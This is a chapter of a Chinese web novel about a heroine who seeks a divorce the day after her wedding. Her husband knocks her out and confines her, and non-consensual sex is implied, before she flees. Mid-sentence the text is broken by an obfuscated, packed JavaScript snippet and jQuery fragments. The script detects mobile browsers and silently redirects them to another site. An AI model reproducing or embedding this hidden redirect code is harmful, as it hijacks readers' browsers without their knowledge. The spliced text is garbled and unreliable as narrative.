36. 成婚第二天和离

作品:《重生后嫁给了前夫他弟

    婚礼翌日


    赵永瑞进宫见皇后,谢长淮则是去朝会了,她在凤仪宫里等着他,俩人在一起回府。


    赵泰没法去锦州后,朝堂又在讨论让谁去,谢子庭及其张旭就一直说让赵永嘉去。


    赵泰要是死了,赵永嘉就是撑起赵家的中流砥柱,皇帝怎么可能让赵永嘉去,当即便否决了,皇派和张党的人各执一词。


    皇派和张党实力旗鼓相当,两军对垒也是不输阵。


    赵永瑞垂头丧气地从凤仪宫里出来,迎面撞上了满面春风的谢长淮。


    她正有忧心呢,谢长淮还在笑,惹她心烦。


    赵永瑞蹙着眉头,一言不发,谢长淮笑呵呵地走进:“瑞瑞,我有一件好事要告诉你。”


    赵永瑞耐着性子道:“何事?”


    谢长淮激动道:“安逸王侧妃陈氏的母家从锦州给她偷摸儿送东西,结果这里面叫一位恨他们纵容疫情爆发的侍女放了一方病人用过的帕子,现在陈氏患病了,原来这种疫情只有外邦西戎才有,也不知道谢子庭这人怎么了,平日里都是权势至上,今日竟然自己去告诉父皇,说了自己做的事情,想让刚刚臣服的西戎进贡解药,父皇震怒,已经将他下来大狱,择日问斩。”


    赵永瑞不解道:“他为何要这样做,说出这件事对他来说百害而无一利啊。”


    “不知道。”


    “莫非是陈氏怀孕了?”


    一说这话,谢长淮更兴奋了:“你知道不,谢子庭其实不举,赵永钰怀的根本不是他的孩子,是趁着谢子庭不重视她,她找侍卫怀的。”


    赵永瑞恍然大悟,怪不得呢,怪不得前世她只生了一个女儿呢,怪不得前世赵永钰生了儿子,谢子庭乐得蹦高呢!


    也没有孩子,也没有权势可图,谢子庭为何还要告诉皇帝这件事是他做的呢?她琢磨不明白,他可不相信那样不念情面的谢子庭会毁在情之一字上。


    谢长淮耸耸肩,他也不明白。


    谢子庭处决那天,赵永瑞亲自去看了,她躲在巷子口,看着谢子庭人头落地。


    那一刻,赵永瑞心里痛快地想,真好,她的痛苦,他终于体会到了!果然人算不如天算,谢子庭绞尽脑汁,不如老天爷轻轻一笔。


    这天晚上,谢长淮做了一桌好酒好菜,他不知道赵永瑞为何如此讨厌谢子庭,但他知道,赵永瑞肯定有自己的理由。


    如今形势一片大好,西戎送来了解药,谢子庭没了,他也和赵永瑞成亲了,以后就能安安稳稳过自己的红火小日子了!


    谢长淮刚把最后一道菜端上桌子,门就开了,是赵永瑞回来了。


    “来得正好,最后一道菜正好弄完了,哎,杵着做甚,快点洗手吃饭呐。”


    赵永瑞从袖子里面掏出来一张纸:“谢长淮,咱们和离吧。”


    “什么?”


    谢长淮觉得自己耳朵是不是不好使了,听错了赵永瑞说的话。


    赵永瑞又重复了一遍:“咱们和离吧,此后咱们你走你的阳关道,我走我的独木桥。”


    “什么!”谢长淮大吃一惊,急迫问,“为何要和离,我是做错了什么吗?”


    赵永瑞淡然摇摇头:“没有,你没有任何错,只是我们真的不适合当夫妻。”


    说完,赵永瑞将和离书递给了他。


    到谢长淮手里的瞬间,和离书成了一片一片的碎纸:“不可能,我不能与你和离。”


    赵永瑞道:“你根本就不喜欢我,何必呢。”


    “谁说我不喜欢你的!”


    “你明明就有心爱的人,盒子里面还藏着她的簪子。”


    谢长淮怎么可能对赵永瑞说自己便是当初的云溪阁阁主,他当云溪阁阁主的时候,对赵永瑞说的话只能用不堪入目四个字来解释,什么要赵永瑞以身相许的话,他可没少说,这还不是最要命的,最要命的是他当初装病想骗取赵永瑞可怜的事,要是赵永瑞知道他是装的该如何是好,本来赵永瑞就不待见他了,他要是解释了,岂不是越描越黑!


    “这件事我会解释道,事情不是你想的那样。”


    赵永瑞铁了心要和离,哪里是听了谢长淮一句含糊不清道解释就能罢休的:“其实我不喜欢你,我靠近你就是想杀了谢子庭,谁知道谢子庭自己就死了呢。”


    谢长淮昂首,使劲儿将眼里的眼泪眨巴回去。


    良久,他才从沙哑的喉咙里面挤出一句话:“我知道了,和离书我会签的。”


    赵永瑞来时已经做了和谢长淮打持久战的准备了,没成想居然是速决战,她转身打算乘着马车回将军府,可是就在她转身的瞬间,谢长淮往她后颈上狠狠劈。


    赵永瑞眼前发黑,谢长淮接住了瘫软的妻子,眼泪淌水似的往下滴:“你为何执意与我和离呢,我是真的喜欢你的,我不是骗子。”


    赵永瑞是在大红床榻上醒过来的,外头的阳光透过窗户的缝隙刺进了房间,原来天明了。


    今天是他们婚礼的第三天,前天她才穿了嫁衣,谢长淮才做了新郎官,怎么可能会撤红床单。


    赵永瑞意识浮浮沉沉了半霎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192528|194598||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,才找回了自己的意识:“我这么还在这儿?”


    很快,后颈的疼痛告诉了她答案————这是庆阳王府


    “你醒了。”


    谢长淮掐着时候,端着八宝粥进来的。


    赵永瑞攥着被子往床深处躲,昨天她可是见识过谢长淮怎么“光明磊落”的,自然不敢轻举妄动。


    赵永瑞眼中的警惕生生刺痛了他的眼睛。


    谢长淮放下粥,慢慢靠进了她,刚要伸手拨开她的青丝,看看后脖颈还有没有印子,但看见她深仇大恨似的眼神儿,伸出的手僵在了半空:“要不要吃粥,我熬了八宝粥。”


    但很显然,此时的赵永瑞哪里还有喝粥的闲情逸致,她可不相信谢长淮会忘了昨天她说的事情。


    “你什么时候放我走?”


    谢长淮搅粥的动作一僵:“你别提‘走’这个字,我不爱听。”


    赵永瑞听话地换了一个字:“你什么时候放我跑?”


    谢长淮:“…………”


    据赵永瑞后面说,这里的谢长淮又是红着眼睛走的。


    赵永瑞没事干,索性睡了一觉。


    她就放心大胆地睡了,谢长淮还能弄死她不成?


    翌日,她起床,浑身都是印子,密密麻麻的,一看便是经历了激烈的…………(自行想象这俩字,我相信你们,加油!)


    谢长淮又进来了,还是红着眼睛进来的。


    赵永瑞十分不解————她才是被占便宜的一个吧,怎么是他哭了?


    这都第五天了,三朝回门没回成,赵泰急得催,谢长淮不敢让赵永瑞接触红梅修竹,他知道她们,要是赵永瑞想跑,红梅修竹便是拼上命,也得护着她离开,今天穿衣,是谢长淮代劳红梅修竹做的。


    “今天回门,你能不跑吗?”


    赵永瑞好久才答应下来,像是做了好久的思想斗争。


    谢长淮也以为赵永瑞是认真思考过后答应下来的,乐得眉开眼笑。


    殊不知这是赵永瑞设下的圈套,她故作思考,放松谢长淮的警惕,等到回家了,她再跑。


    张家是倒了,但是满朝廷大半官员都是张家的学生,皇帝还得指望着她爹对付那些“张氏官员”呢,指定不能弄死她爹。


    就这样,赵永瑞跟赵泰说了自己不愿意和谢长淮当夫妻,而且和离不了后,赵泰拍板决定把赵永瑞送走,自己还去前厅和谢长淮有说有笑的,貌似方才那大逆不道的决定不是他做的一样。


    等谢长淮反应过来了,赵永瑞早就出城了。